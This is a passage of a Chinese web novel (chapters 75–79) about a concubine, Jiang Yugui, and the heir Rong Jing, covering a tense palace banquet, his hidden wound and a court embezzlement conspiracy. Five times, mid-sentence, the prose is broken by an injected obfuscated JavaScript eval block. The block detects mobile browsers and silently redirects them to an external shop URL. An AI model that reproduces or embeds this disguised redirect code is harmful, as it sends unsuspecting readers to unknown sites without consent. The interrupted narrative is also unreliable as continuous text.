她重新靠回椅背,姿态依旧雍容,但紧抿的唇线泄露了她内心的不平静。 姜于归微微垂眸,掩去眼底的冷意,她知道危机并未解除,永嘉和永福绝不会轻易放过她,这飞星逐月的游戏,恐怕就是下一个陷阱。 她握紧了袖中的手,指尖冰凉,脑海中飞速盘算着待会儿该如何应对那些可能意外飞向她的藤球。 是敏捷的闪避,还是不小心绊倒,或者干脆借口身体不适?每一种选择都可能带来新的攻讦,她必须万分谨慎。 就在这时,暖阁外忽然传来一阵略显急促却依旧沉稳的脚步声,伴随着守门太监略显尖细却带着一丝慌乱的通报声:“荣——荣国公世子到——!” 这一声通报,如同在看似平静的湖面投下了一块巨石! 暖阁内瞬间再次陷入一片诡异的寂静,所有人的目光齐刷刷的转向入口处,脸上写满了难以置信。 永嘉公主猛的坐直了身体,脸上第一次露出了真正的惊愕。 容璟?他不是奉旨出京办差了吗?按行程算,至少还需三五日才能回转,怎会此刻出现在这里?! 永福公主更是瞬间睁大了眼睛,那双总是盛满天真笑意的眸子里,迸发出毫不掩饰的惊喜和爱慕,脸颊也飞上了两抹红霞,下意识的整理了一下自己的衣襟和发簪。 姜于归的心跳也漏了一拍,容璟回来了? 在这个她深陷泥沼,孤立无援的时刻?一股难以言喻的复杂情绪涌上心头,有一丝连她自己都不愿承认的,微弱的松懈,但更多的却是更深的警惕和疑惑。 他怎么会回来得这么巧?是哪个她不知道的暗卫,在他离京期间,依旧将她的一举一动及时传递了过去? 珠帘晃动,一道挺拔的身影逆着光走了进来。 正是容璟。 他今日穿着一件深色的墨色常服,只是衣摆和袖口处沾染了些许不易察觉的尘土,昭示着旅途的匆忙。 他的面容依旧俊美无双,但若仔细看去,便能发现那如玉的肤色下透着一丝不甚正常的苍白,唇色也较平日浅淡几分,呼吸更是比往常略微沉重一丝,虽然被他极力压制,但姜于归离得近,又对他有种莫名的关注,隐隐察觉到了这份异样。 姜于归第一眼就看出容璟的不对劲,心中突然想起之前府里的嬷嬷说过,容璟的身体似乎确实不好,尤其是冬日的时候,她那个时候还连续给他做药膳来着...... 但是很快姜于归就将这念头压下。 他的身体状况,轮不到她来操心。 容璟的目光在暖阁内迅速扫过,看似随意,却精准的捕捉到了每一个细节。 永嘉未来得及完全收敛的惊怒,永福毫不掩饰的爱慕与惊喜,诸位千金脸上残留的或爱慕,或羞涩,或看好戏的神情,以及......孤立在场地中央,面色平静却脊背挺得笔直的姜于归。 容璟的视线在姜于归身上停留了一瞬,深邃的眼眸中看不出情绪,但姜于归却无端的感到一股压力,仿佛被什么猛兽锁定。 容璟上前几步,姿态优雅的行礼,声音一如既往的清润温和,但若细听,能察觉到底气似乎不如往日绵长:“臣容璟,参见永嘉公主殿下,永福公主殿下。” 永嘉公主终于从震惊中回过神来,脸上挤出一个笑容,只是那笑容有些勉强 “潜玉?你......你不是出京办差了吗?怎的这么快就回来了?可是差事办完了?” 她心中警铃大作,容璟此时归来,绝不仅仅是巧合。 难道他一直关注着府中动向?还是说,他知道了今日之事特意赶回?若是后者,那他对这姜于归的重视程度,恐怕远超她的预估。 容璟直起身,唇角勾起一抹惯常的,令人如沐春风的浅笑,然而那笑意并未抵达眼底:“劳殿下挂心。差事已经了解,原本确实还需要一些路程,不过回程途中接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034962|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到京中急报,恐府中有事,便先行快马加鞭赶回。方才在府中听闻于归被殿下邀来赏梅,臣心中感念殿下盛情,又担心她初次参加这等宴会,规矩不熟,冲撞了殿下与诸位千金,故而不请自来,还望殿下恕罪。” 他这番话说的滴水不漏,既解释了自己提前归来的原因,又点明了自己是为姜于归而来,语气恭敬,却带着不容置疑的维护。 永嘉公主的脸色瞬间变得有些难看。 容璟这话,分明是在指责她这宴会让姜于归受了委屈! 她强压着怒火,干笑两声,然后刻意模糊了方才的冲突:“潜玉这是说的哪里话?姜娘子规矩好的很,方才还与我们一起品评游戏,何来冲撞之说?” 永福公主也连忙接口,声音甜美带着娇嗔:“是呀表哥,姜娘子方才还给我们讲了这飞星逐月的玩法呢,有趣得紧。我们正要开始玩,你就来了,正好一起呀!” 说着,期盼的目光看着容璟,希望他能留下。 容璟却并未看永福,他的目光再次落在姜于归身上,语气温和却带着一种无形的亲昵:“哦?于归还会玩这个?在清溪镇时学的?” 这话看似寻常询问,实则是在众人面前,自然而然的提及姜于归的过去,用一种我知道她的所有的姿态,无形中化解了之前那小厮爆料带来的神秘感和污名化。 姜于归心中一动,抬起眼,正对上容璟深邃的目光。 那目光中带着一丝探究,一丝了然,还有一丝她看不懂的复杂情绪。 姜于归垂下眼帘,低声道:“不过是市井小戏,登不得大雅之堂,让世子见笑了。” “怎会?” 容璟说罢,轻笑一声,缓步走到姜于归身边,距离近得几乎能感受到彼此的体温。 他旁若无人的伸出手,极其自然的握住了姜于归垂在身侧,微微有些冰凉的手。 姜于归身体一僵,下意识的想抽回,却被容璟更紧的握住。 他的掌心带着一丝不同寻常的温热,甚至有些烫人,力道却不容抗拒。 75. 第 75 章 容璟微微蹙眉,语气带着毫不掩饰的怜惜:“手这样凉?可是这暖阁炭火不足?还是受了风寒?” 说着,容璟解下了自己身上那件狐裘披风,动作轻柔的披在了姜于归的肩上,仔细的为她系好带子。 这一幕,再次让整个暖阁陷入了死寂! 所有贵女都目瞪口呆的看着这一切。 容世子......竟然当着两位公主和这么多人的面,如此亲密的对待一个侍妾?!不仅握了她的手,还......还亲手为她披上自己的披风?!这简直是......简直是宠溺到了极点! 永福公主脸上的笑容彻底僵住,看着容璟对姜于归那温柔体贴的模样,再看他从进门至今都未曾认真看自己一眼,强烈的嫉妒和委屈涌上心头,眼圈瞬间就红了。 永嘉公主更是气得浑身发抖,容璟此举,分明是在打她的脸!是在用行动告诉所有人,姜于归是他容璟极为看重的人,谁给她难堪,就是跟他容璟过不去! 狐裘披风还带着容璟的体温和他身上清冽的沉香气息,和那次长街上一样,将姜于归整个人包裹住。 这突如其来的温暖和亲密让她极度不适,浑身僵硬,脸颊却不受控制的微微发热,她能感受到四面八方射来的,如同实质般的目光,嫉妒,震惊,鄙夷...... 姜于归试图挣脱:“世子,我......” “别动!” 容璟低声阻止,语气带着一丝不容置疑的温柔,握着她的手力道又紧了几分,仿佛在传递某种无声的警告或安抚:“脸色这么白,可是累了?” 不等姜于归回答,便转向永嘉公主,脸上依旧带着无可挑剔的浅笑,但眼神已然微冷:“殿下,于归身子似乎有些不适,臣恐她扰了诸位雅兴,便先带她回府歇息了,今日殿下设宴款待之情,容璟改日再登门致谢。” 他这话根本不是商量,而是通知。 永嘉公主今日被气得不轻,胸口剧烈起伏,死死攥着拳头,指甲深深陷入皮肉,几乎要维持不住脸上的表情。 容璟这是明晃晃的打她的脸!她费尽心机设下此局,还没真正开始,就要被他这样轻易的将人带走? 然而,政治的考量瞬间压过了个人的愤怒。 容璟提前回京,行色匆匆,这背后是否意味着京中或边境局势有变?原本之前长街的对质,她就很担心把容璟推到太子那边,但幸好那时没有彻底的撕破脸。若是现在为难,怕是...... 容璟在此刻的态度至关重要,为了一个侍妾,与容璟彻底撕破脸,将他推向太子那边,绝对是愚蠢之举。 电光火石间,永嘉公主脑中已闪过无数念头,随后,她强行挤出一个无比僵硬的笑容,语气甚至带上了一丝她自己都觉得恶心的宽和。 “原来如此。倒是本宫疏忽了,竟未察觉姜娘子身子不适。既然潜玉你回来了,自然该由你照顾。快带姜娘子回去好好歇着吧。” 她甚至主动为容璟找好了台阶,将容璟的闯入和带人离开,归结为姜于归身体不适,试图缓和气氛,维持表面和平。 容璟深深看了永嘉一眼,那目光仿佛能穿透人心,看清她所有的心思算计,他微微颔首:“殿下体恤,臣感激不尽。” 说罢,他不再多看任何人一眼,握着姜于归的手,转身便向暖阁外走去。 他的步伐稳健,但姜于归离得近,能感觉到他握住她的手,在某些瞬间会不自觉的收紧,仿佛在借助她的力量支撑某种不适,这让她心中的那点疑虑再次浮现。 他到底怎么了? 永福公主看着容璟毫不犹豫离开的背影,甚至从头至尾都没有认真看她一眼,终于忍不住,泪水在眼眶里打转,委屈的唤了一声:“表哥......” 容璟脚步微顿,却没有回头,只是淡淡的留下一句:“永福殿下,臣告退。” 这一声疏离的永福殿下,如同最后一根稻草,让永福的眼泪瞬间滑落。 暖阁内,只剩下满堂神色各异的宾客,以及两位脸色铁青的公主。 丝竹声不知何时早已停下,空气中弥漫着尴尬,震惊和未散尽的硝烟味。 永嘉公主看着容璟和姜于归相携离去的背影,眼中充满了阴鸷。 今日之辱,她记下了!容璟,还有那个姜于归......她绝不会就此罢休!而永福...... 她看了一眼身旁哭泣的妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039043|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一个念头逐渐清晰。 或许,是时候让父皇下旨赐婚了!就算容璟不愿,圣旨之下,他也未必敢公然抗旨!只要永福成了荣国公府的女主人,既拉拢了容璟进入他们的阵营,又如了永福的心思,届时,还怕收拾不了一个小小的侍妾?! 出了暖阁,离开那令人窒息的氛围,寒冷的空气扑面而来,姜于归才仿佛重新找回了呼吸。 她试图抽回一直被容璟紧握的手,却发现他握得极紧。 姜于归低声道:“世子,可以放开我了。” 容璟停下脚步,转过身,在公主府廊下昏暗的光线里看着她,他脸上的温和笑意早已消失无踪,取而代之的是一种深沉的,带着审视的冷漠。 他开口,声音低沉,听不出喜怒:“我不在,你倒是很能耐?永嘉公主的鸿门宴你也敢单刀赴会?还差点把自己陷进去。” 姜于归心头一凛,她果然还一直被他的人监视着,抿了抿嘴,姜于归抬眸看他:“世子消息灵通。” 容璟的语气带着一丝不易察觉的嘲讽:“若非我及时赶到,你以为永嘉和永福会轻易放过你?那些藤球,只怕第一个要砸的就是你。” 姜于归没有反驳。她知道他说的是事实。 她想说些什么,却不知从何说起。 感谢他解围?不,她如今的困境,大半因他而起。质问他为何监视她?这毫无意义。 容璟看着她苍白的脸和紧抿的唇,目光落在她肩上属于他的披风上,眸色深了深。 他忽然伸手,用指腹轻轻擦过她的脸颊,动作带着一种奇异的缱绻,却又冰冷无情。 容璟凑近姜于归耳边,用只有两人能听到的声音低语,气息灼热,带着一丝若有似无的血腥气:“记住你发过的誓,于归,你是我的。除了待在我身边,你无处可去,也无人可依。今日之事,便是明证。” 他的话像冰锥,刺穿了姜于归刚刚因脱困而产生的一丝松懈。 是啊,离开了容璟,永嘉公主捏死她如同捏死一只蚂蚁,而容璟的庇护,代价是她整个人生和尊严。 他没有再说什么,重新拉起她的手,力道不容拒绝,带着她向公主府外等候的马车走去。 76. 第 76 章 马车轱辘碾过厚重的积雪,发出单调而压抑的声响。车厢内,容璟靠在软垫上,闭目养神,平日里温润如玉的面庞,在昏暗光线下显出一种罕见的苍白,眉宇间凝着一丝难以化开的疲惫,甚至......痛楚。 此刻马车内只剩下二人,姜于归能清楚的听见,容璟的呼吸比平日稍显沉重,虽然极力掩饰,但偶尔细微调整坐姿时,那瞬间僵硬的嘴角泄露了端倪。 姜于归坐在他对面,双手在袖中紧握,指尖陷入掌心。 她偷偷打量他,但他左手一直看似随意的搭在腹侧,那个姿势......不像是单纯的休息。 他......受伤了? 这个认知隐约浮现在姜于归脑海。 为什么受伤?何时受伤?严重吗?和他提前回京有关吗?和林晏被救有关吗? 无数疑问翻涌,带着一丝她自己不愿深究的忧虑。 姜于归迅速垂下眼,生怕被他察觉。 然而,他还是察觉了。 那双深邃的眸子倏的睁开,精准的捕捉到她未来得及完全收敛的视线,锐利得让她心尖一颤。 他的声音带着一丝长途跋涉后的沙哑,更添几分压迫感:“看什么?” 姜于归心脏漏跳一拍,慌忙垂首,声音低不可闻:“没......没什么。” 车厢内再次陷入令人窒息的沉默,只有车轮声和彼此轻微的呼吸声交错。 姜于归能感觉到他的目光仍停留在自己头顶,带着审视,让她如坐针毡。 终究,对真相的渴望,以及那丝说不清道不明的担忧,压过了恐惧,姜于归深吸一口气,抬起头,迎上他的目光,尽量让声音平稳。 “世子脸色似乎不太好。” 容璟眸光微闪,定定的看了她片刻,那目光仿佛要穿透她的皮囊,直抵内心。 忽然,他唇角勾起一抹意味不明的弧度,带着些许嘲弄,又似有几分探究:“担心我?” 姜于归心口一紧,立刻否认,语气带着习惯性的疏离:“不敢。” 容璟却像是被取悦了,眼底那点冰寒似乎融化了些许,他重新闭上眼睛,喉间溢出一声极轻的,几乎听不见的哼笑,淡淡道:“一点小伤,不碍事。” 他承认了! 姜于归心中震动,下意识的追问:“怎么受的伤?” 但是话一出口她就后悔了,似乎太过关切。 容璟眼睫未动,只淡淡道:“回府再说。” 这句话像一道无形的屏障,截断了所有试探。 姜于归抿紧嘴唇,不再言语。 马车终于驶入荣国公府,在汀兰水榭前停下。 容璟起身下车,动作看似从容,但姜于归敏锐的注意到他下马车时,左手极快的扶了一下车门框,借力稳住身形,眉心几不可察的蹙了一下。 他挥退了迎上来的下人,只对姜于归道:“你随我进来。” 踏入内室,暖融的炭火气息扑面而来,与室外的严寒形成鲜明对比。 容璟径直走到窗边的紫檀木榻前,坐下,微微后靠,闭目缓了口气,脸色在明亮的烛光下愈发显得苍白。 姜于归站在离他几步远的地方,心中忐忑不安。 他带她回来,显然不只是为了休息。 果然,容璟睁开眼,目光沉静的看向她:“过来。” 姜于归迟疑了一下,还是慢慢走过去。 容璟的语气平淡,却带着不容置疑的命令:“替我更衣。” 姜于归浑身一僵,脸上瞬间褪去血色。 虽然她已被迫接受侍妾的身份,有过最亲密的关系,但那都是不得已的让步,此刻,突然被他这样直接要求侍奉更衣,一种强烈的屈辱感和紧张感涌上心头。 姜于归嘴唇动了动,拒绝的话在舌尖打转:“我......” 容璟看着她脸上明显的抗拒和屈辱,眼底掠过一丝冷意,但他没有发作,只是慢条斯理的开口,声音不高,却像冰锥一样刺入姜于归的耳膜。 “不想知道慕容林晏的事了?” 姜于归猛的抬头,眼中充满了震惊和难以置信。 他竟然主动提起林晏?用这个她最无法抗拒的条件,来交换她的顺从? 心脏像是被一只无形的手紧紧抓着,痛得她无法呼吸。姜于归看着容璟,他苍白的脸上没有任何表情,只有那双眼睛,深不见底,带着洞悉一切的冷漠和掌控一切的自信。 屈辱,愤怒,担忧,以及对真相的渴望......种种情绪在她心中激烈交战。 最终,对林晏命运的牵挂压倒了一切,她闭了闭眼,再睁开时,眼底已是一片死寂的平静。 姜于归缓缓抬起微微颤抖的手,伸向他的衣带。 容璟静静的看着她的动作,看着她脸上那近乎悲壮的神情,眼底情绪翻涌,最终化为一种复杂的,带着痛楚的快意。 他享受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042753|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种掌控,享受她为了另一个男人而向他屈服的过程,尽管这过程也像一把双刃剑,同时割伤着他自己。 姜于归的手指笨拙的解开他的系带,外袍散开,露出里面月白色的中衣。紧接着,她倒抽一口冷气。 他左侧腹部的月白中衣上,赫然浸染着一片已经变为暗红色的血迹!血迹范围不小,虽然看似已经简单处理过,不再新鲜流淌,但那狰狞的颜色和位置,足以说明这绝不是什么小伤! 姜于归的手指僵在半空,脸色瞬间变得比容璟还要白,先前所有的屈辱和算计,在这一刻都被这触目惊心的伤势冲散,一种纯粹的,基于人性的恻隐之心油然而生。 她的声音带着自己都未察觉的颤抖:“这......这就是你说的小伤?” 容璟低头看了一眼,语气依旧平淡:“死不了。” 他这种浑不在意的态度,反而让姜于归的心揪得更紧。 她想起他刚才在马车上的隐忍,下马车时的借力...... 这伤,一定很痛。 姜于归转身就要去唤人:“必须立刻请大夫!” 容璟的声音带着不容置疑的阻止:“站住。” 姜于归回头,不解的看着他。 容璟目光锐利:“我受伤的事,越少人知道越好。府中......未必干净。” 随后他顿了顿,意味深长的补充道:“就像其他官员府邸,未必没有我的人一样。” 姜于归瞬间明白了他的顾虑。 权贵之家,互相安插眼线是常事,荣国公府树大招风,容璟身居要职,更是众矢之的,若他受伤的消息传出去,不知会引来多少不必要的麻烦,甚至危险。 姜于归站在原地,进退两难,看着容璟腹部那片刺目的暗红,恻隐之心与理智告诉她必须处理伤口。 “你的伤口需要马上处理。” 容璟的眼神却直勾勾的看着姜于归,其中意味在明显不过, 姜于归瞬间明白,可是也明显带着紧张:“我......我不太会包扎。” 这是实话,前世今生,她都没什么处理严重外伤的经验。 容璟闻言并未动怒,只是唇角那抹冰冷的弧度加深了,带着一种洞悉一切的嘲讽。 他没有像之前那样尖锐的提起林晏,只是用一种缓慢的,仿佛带着恶意的语气轻声反问。 “是么?可本世子记得,你照顾人,应是极妥帖的。” 77. 第 77 章 他没有点名道姓,但姜于归明白容璟的意思,林晏曾在清溪镇查案时被追杀,姜于归救过他。既然容璟都能说出她孝期的时间,想来想查她曾经在清溪镇的过往,也不是什么难事。 姜于归被他眼中那片深沉的,几乎要将人溺毙的黑暗慑住,深知任何辩解在此刻都是徒劳,只会更加激怒这看似平静实则暗潮汹涌的深海。 她强压下心中的恐慌和冰冷,努力让自己的声音听起来平静而无奈:“那时情况紧急,胡乱包扎而已。我是怕......怕弄不好,反而加重世子的伤势。” 容璟不再说话,只是用那双阴郁的眼睛静静的看着她,仿佛在欣赏她的挣扎与恐惧。 半晌,他似乎耗尽了耐心,或许是伤口疼痛加剧,他几不可察的蹙了下眉,闭了闭眼,再睁开时,眼底只剩下疲惫和一种更深沉的,不容抗拒的固执。 “动手。” 说完,容璟不再看她,仿佛将一切交给她处置,也是一种变相的惩罚和考验。 姜于归知道无法再推脱,她深吸一口气,努力稳住颤抖的手指,小心翼翼的解开他中衣的系带。 随着中衣褪下,那道伤口完全暴露在她眼前。 伤口位于左腹,似乎是被利刃所伤,伤口不算特别长,但颇深,皮肉外翻,虽然用了上好的金疮药勉强止血,但边缘红肿,仍有血丝渗出,显然没有得到妥善的处理和休息。 姜于归的心再次揪紧,秋实已经将所有东西都准备好,出门守在屋外,而姜于归取来温水,动作轻柔的用湿布小心擦拭伤口周围的血污。 她的指尖冰凉,偶尔不可避免的触碰到他温热的皮肤,两人皆是一颤。 姜于归专注于伤口,尽量忽略这尴尬的亲密。 清洗,上药,然后用干净的细棉布开始缠绕包扎。因为伤口位置,包扎时需要贴近他的身体,几乎像是环抱住他。 容璟一直闭着眼,感受着她轻柔小心的动作,感受着她微凉的指尖偶尔的触碰,感受着她因为紧张而略微急促的呼吸拂过他的皮肤...... 先前因嫉妒而升起的怒火,竟奇异的慢慢平息了下去,他能感觉到,姜于归此刻的担忧是真的,她的动作里的轻柔,并非全然出于被迫。 这种认知,像一丝微弱的暖流,渗入他冰冷的心湖。 他忽然觉得,这一刀,挨得或许......值得。 为了打破这过于安静而暧昧的气氛,姜于归一边小心的缠绕纱布,一边低声开口,问出了盘旋已久的问题。 “行刺的事......是什么人?” 容璟沉默了片刻,似乎在权衡,最终,他选择了部分坦诚。 他既然决定要将她拉入自己的世界,那么就要让她看清周围的危险,从而更依赖自己,所以有些信息,可以让姜于归知道。 他的声音恢复了之前的平静,甚至带着一丝分析局势的冷静,但那冷静之下,是暗流涌动的杀意。 “暂时未有确凿证据,但大概率,是睿王外祖——镇北将军府的人。” 姜于归手一抖,差点打翻药瓶。镇北将军!那可是手握重兵,镇守边境的大将! “为什么?” 容璟淡淡道,语气如同在叙述一件与己无关的旧事:“陛下将追查慕容林晏案子的差事交给了我,睿王心里虚了。他在盛京不敢妄动,但传信给其外祖,在途中设伏,试图阻挠查案,甚至......除掉我这个碍眼的,也并非不可能。” 姜于归听出一身冷汗,权倾朝野的镇北将军,睿王......这些平日里遥不可及的名字,此刻竟以如此血腥的方式与她的生活产生了交集。 她隐隐感到害怕,一种深入骨髓的寒意,她如今与容璟绑在一起,若容璟倒台,她的下场可想而知。 这种对自身命运的恐惧,压倒了对林晏处境的单纯担忧。 姜于归稳住微微颤抖的手,继续为他缠绕纱布,声音低涩,刻意避开了那个让她心碎的名字:“那......慕容大人......他究竟查到了什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049290|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他们不惜对世子您下此杀手?” 这声疏离的慕容大人取悦了容璟,他垂眸看着姜于归近在咫尺略显苍白的侧脸,感受着她指尖因紧张而带来的轻微战栗,心中那股因她可能存在的关心而升起的扭曲的愉悦感,慢慢扩散开来。 他喜欢看她害怕,喜欢看她不得不依赖自己的模样。 容璟的声音恢复了之前的平静,甚至带着一丝引导猎物步入陷阱般的耐心:“他查到,永嘉公主掌管内府司的部分皇庄与织造,数年之间,账面上有巨额亏空。” 姜于归动作一顿,惊愕的抬眼。 永嘉公主贪污? 容璟对上她惊讶的目光,嘴角勾起一抹冰冷的弧度,继续道:“而这些钱,并未流入她的公主府库,而是通过数十个空壳商号,最终流向了北境......睿王殿下和其外祖镇北将军的军中。” 睿王二字,他吐得格外清晰,带着一种毫不掩饰的锋芒。 姜于归对皇室成员错综复杂的关系并不甚了解,而容璟此刻,如同一个最有耐心的先生,要为学生彻底厘清这盘棋局上的所有棋子,让她明白自己身处何地。 容璟语气平淡,看着姜于归因震惊而微微睁大的眼睛:“看来,你对此一无所知。” 他略略抬手,示意她继续包扎,自己则微微后靠,仿佛在叙述一个遥远的故事,与腹部的伤痛毫无关联。 “睿王与永嘉,永福公主,皆是薛贵妃所出。薛贵妃出身镇北将军府,这也是为何永嘉能轻易将款项运作至北境。而当今太子,与已故的永华公主,乃是皇后娘娘嫡出。” 他顿了顿,目光掠过窗外沉沉的夜色,声音里染上一丝不易察觉的讥诮:“永华公主,为了稳固太子地位,当年自请远嫁北戎和亲,以安边境。不过一年,便客死异乡。消息传回,陛下悲痛不已。自此,对皇后与太子,便多了一份沉甸甸的愧疚。而这份愧疚,成了东宫最无形,却也最坚固的护身符。” 姜于归的心随着容璟的最后一句话猛的一沉。 78. 第 78 章 一位金枝玉叶的嫡出公主,竟为兄长前程落得如此结局......而陛下对太子的愧疚,无疑让睿王一派如鲠在喉,他们需要更强大的力量,才能撼动东宫。 电光火石间,之前所有零碎的信息在她脑中轰然贯通! 永嘉公主利用职权贪污巨额官银,款项流入睿王和镇北将军的军中,睿王与太子是竞争对手,陛下因永华公主之死对太子心存愧疚,地位稳固,镇北将军府因此行刺负责查案的容璟...... 她猛的抬头,眼中充满了难以置信的惊骇,声音因激动而微颤:“所以......永嘉公主她贪污如此巨款,是为了帮睿王殿下......养兵自重?他们是想......是想......” 最后那个带着大逆不道意味的结论,姜于归终究没敢说出口,但那双清亮的眸子里已写满了答案——谋反! 或者,至少是拥兵自重,觊觎大位! 容璟看着她瞬间明了的眼神,嘴角那抹冰冷而了然的弧度加深了。他没有承认,也没有否认,但他的沉默,以及眼中那片深不见底的幽暗,仿佛已经在无声的确认。 他不需要姜于归喊出那个词,他只需要她知道,她将要面对的,是何等滔天的罪行与危险,而她所能依附的,唯有他容璟。 他将最后一块拼图,稳稳的放在了姜于归的面前,让她自己看清了全貌。 姜于归沉默下去,脸色苍白如纸,但大脑却在飞速运转,将前后所有线索严丝合缝的拼接起来。 原来,从林晏查案开始,他们就已经被卷入了这场储位之争的漩涡中心,而这漩涡,足以将任何人碾碎。 她之前的种种遭遇,永嘉的敌视,容璟的卷入......一切都有了合理的,却也更令人绝望的解释。 她下意识的攥紧了手中的纱布,指尖冰凉,一种巨大的无力感和恐惧包裹住了她。 在这等涉及江山社稷的滔天风波面前,她个人的爱恨情仇,显得如此渺小而又可笑。 她几乎是本能地,带着一丝连自己都未察觉的依赖,低声追问:“那......接下来怎么办?” 容璟敏锐的捕捉到了姜于归语气中的这丝变化,他心中那点愉悦又扩大了几分。 他喜欢姜于归这种不得不依靠他的感觉。 “怎么办?” 他轻笑着重复了一遍,缓缓睁开眼,看向近在咫尺的姜于归,因为她包扎的姿势,两人靠得极近,他几乎能数清她微微颤动的睫毛。 目光落在姜于归因为紧张而抿紧的唇瓣上,带着一丝戏谑和某种深意:“自然是......接着查。有我在,你怕什么?” 这话语带着强大的自信,也是一种无形的捆绑。 姜于归没有反驳,她垂下眼,继续手中的动作,将纱布最后打结固定,她的心情复杂难言。 她对容璟确实产生了一丝感激,他救了林晏,惹来杀身之祸,而他所处的危险境的要让姜于归意识到,自己似乎真的别无选择,只能依附于他。 这种认知,让她照顾他的动作,在不自觉间,又轻柔了几分。那是一种混合着感激,恻隐,无奈和认命的复杂情绪。 容璟清晰的感受到了这种变化,他心中愉悦更甚,甚至暂时压过了伤口的疼痛和对林晏的嫉妒。 他忽然开口,语气带着一丝慵懒的调戏:“手法尚可,看来,以后本世子这伤患的差事,可以放心交给你了。” 姜于归动作一顿,脸上飞起一抹不易察觉的红晕,不知是羞是恼。她迅速收拾好药品和布巾,退开两步,拉开距离,恢复了平日里的冷淡神色:“世子伤势不轻,还需好好休息。” 虽然她还是冷着脸,但那瞬间的迟疑和退避的姿态,少了以往那种全然的冷漠和尖锐的抗拒,容璟看在眼里,心中了然。 他知道,坚冰并非一日可融,但缝隙已经出现。 就在这时,姜于归的目光无意间扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053054|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过容璟换下来的那件染血的中衣。 在左侧腹部对应伤口稍上方的位置,有一小块血迹的颜色和浸润状态,似乎与周围有些微不同,那块血迹边缘更规整一点,像是之前有什么扁平的东西覆盖在那里,吸收了血液,然后又被人拿走,留下了些许痕迹。 是衣服的褶皱吗?还是......? 姜于归心中闪过一丝疑惑,但此刻心绪纷乱,容璟的目光又一直停留在她身上,让她无暇细想,很快将这微不足道的细节抛诸脑后,只当是自己在紧张下的错觉。 姜于归找了个借口,转身走向桌边,试图平复混乱的心绪:“我去给世子倒杯水。” 容璟看着姜于归略显仓促的背影,没有阻止。 他靠在榻上,腹部的伤口依旧作痛,但心情却奇异的好转。 他开始向她透露信息的决定,似乎是正确的,让姜于归知道部分真相,让她感受到威胁,让她看到他的付出和保护,让她在复杂的情感中挣扎...... 这一切,都在将她的命运更深的与他捆绑。 容璟知道前路危险,睿王和镇北将军绝不会善罢甘休,但此刻,看着在房间里为他忙碌的姜于归,感受着她那细微却真实的情感变化,容璟觉得,这场博弈,他依然掌控着主动权。 几日后,皇帝翻阅着北境军饷案的卷宗,眉头紧锁,带伤的容璟垂手立于下首,姿态恭敬。 容璟声音温润,如春风拂面:“陛下,北境贪墨一案,虽证据指向几名边将,但臣总觉得,这巨额银两流向,似乎与内府司近年账目有些许微妙关联。” 皇帝抬眼,精明的目光扫过他:“内府司?那是永嘉在打理。” 说罢,皇帝顿了顿,脸上适时露出一丝作为父亲的无奈与宽容:“永嘉这孩子,年纪轻轻就守了寡,带着个女儿也不容易,朕这个做父亲的,平日里对她难免多几分怜惜,纵容了些。” 容璟立刻听出了皇帝的言外之意。 79. 第 79 章 陛下需要有人来当这个坏人,提出具体的制约措施,而陛下自己则维持慈父的形象。 容璟心领神会,面上露出恰到好处的理解与忧色。 